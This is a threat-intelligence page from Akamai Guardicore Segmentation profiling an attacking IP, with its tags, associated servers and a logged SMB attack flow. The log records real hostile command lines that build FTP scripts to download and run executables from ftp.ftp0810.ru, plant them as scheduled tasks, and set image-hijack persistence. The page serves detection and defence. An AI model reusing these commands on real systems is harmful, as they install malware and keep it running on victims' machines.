Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 13.76.249.66Previously Malicious

IP Address: 13.76.249.66Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

CMD Scheduled Task Creation SMB Null Session Login System File Modification Service Creation Download and Execute SMB Cookie Hijacking Persistency - Image Hijack File Operation By CMD DNS Poisoning Service Configuration Access Suspicious Domain Download File Service Start Outgoing Connection HTTP

Associated Attack Servers

45.58.135.106 70.39.123.18 173.208.139.170

Basic Information

IP Address

13.76.249.66

Domain

-

ISP

Microsoft Corporation

Country

Singapore

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2020-09-24

Last seen in Akamai Guardicore Segmentation

2020-10-21

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

c:\windows\system32\services.exe installed and started cmd as a service named wFfQ under service group None

Service Start Service Creation

System file c:\windows\temp\conhoy.exe was modified 4 times

System File Modification

Process c:\windows\system32\regsvr32.exe generated outgoing network traffic to: 139.5.177.32:8032, 173.208.153.130:8130 and 70.39.123.18:8018

Outgoing Connection

The file C:\WINDOWS\system32\max.exe was downloaded and executed

Download and Execute

Process c:\windows\system32\regsvr32.exe attempted to access suspicious domains: sharktech.net

Access Suspicious Domain Outgoing Connection

Process c:\windows\temp\conhoy.exe generated outgoing network traffic to: 103.124.105.246:80, 173.208.139.170:8170 and 70.39.123.18:8018

Outgoing Connection

Process c:\windows\temp\conhoy.exe attempted to access suspicious domains: hosteons.com and sharktech.net

Access Suspicious Domain Outgoing Connection

System file C:\WINDOWS\Temp\wmi.bat was modified 4 times

System File Modification

System file C:\WINDOWS\Debug\item.dat was modified 4 times

System File Modification

The file c:\windows\temp\conhoy.exe was downloaded and executed 6 times

Download and Execute

C:\WINDOWS\Temp\wmi.bat was downloaded

Download File

C:\WINDOWS\Temp\ntuser.dat was downloaded

Download File

The file C:\WINDOWS\Temp\u.exe was downloaded and executed

Download and Execute

C:\WINDOWS\Debug\item.dat was downloaded

Download File

Process c:\windows\temp\u.exe generated outgoing network traffic to: 172.83.155.170:80, 45.58.135.106:80 and 45.58.135.106:8888

Outgoing Connection

c:\windows\inf\aspnet\lsma12.exe was downloaded

Download File

The file C:\WINDOWS\system\msinfo.exe was downloaded and executed

Download and Execute

The file C:\WINDOWS\system32\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\WINDOWS\system32\packet.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The command line cmd /c echo open ftp.ftp0810.ru>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa1.job

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa2.job

The command line cmd /c echo open ftp.ftp0810.ru>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa3.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\ok.job

The command line c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\WINDOWS\Tasks\oka.job

The command line c:\windows\temp\conhoy.exe was scheduled to run by modifying C:\WINDOWS\Tasks\MicrosoftsWindowsy.job

c:\windows\system32\net1.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

c:\windows\system32\sc.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

c:\windows\system32\net1.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

System file C:\WINDOWS\system32\drivers\etc\hosts was modified

System File Modification

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

Connection was closed due to user inactivity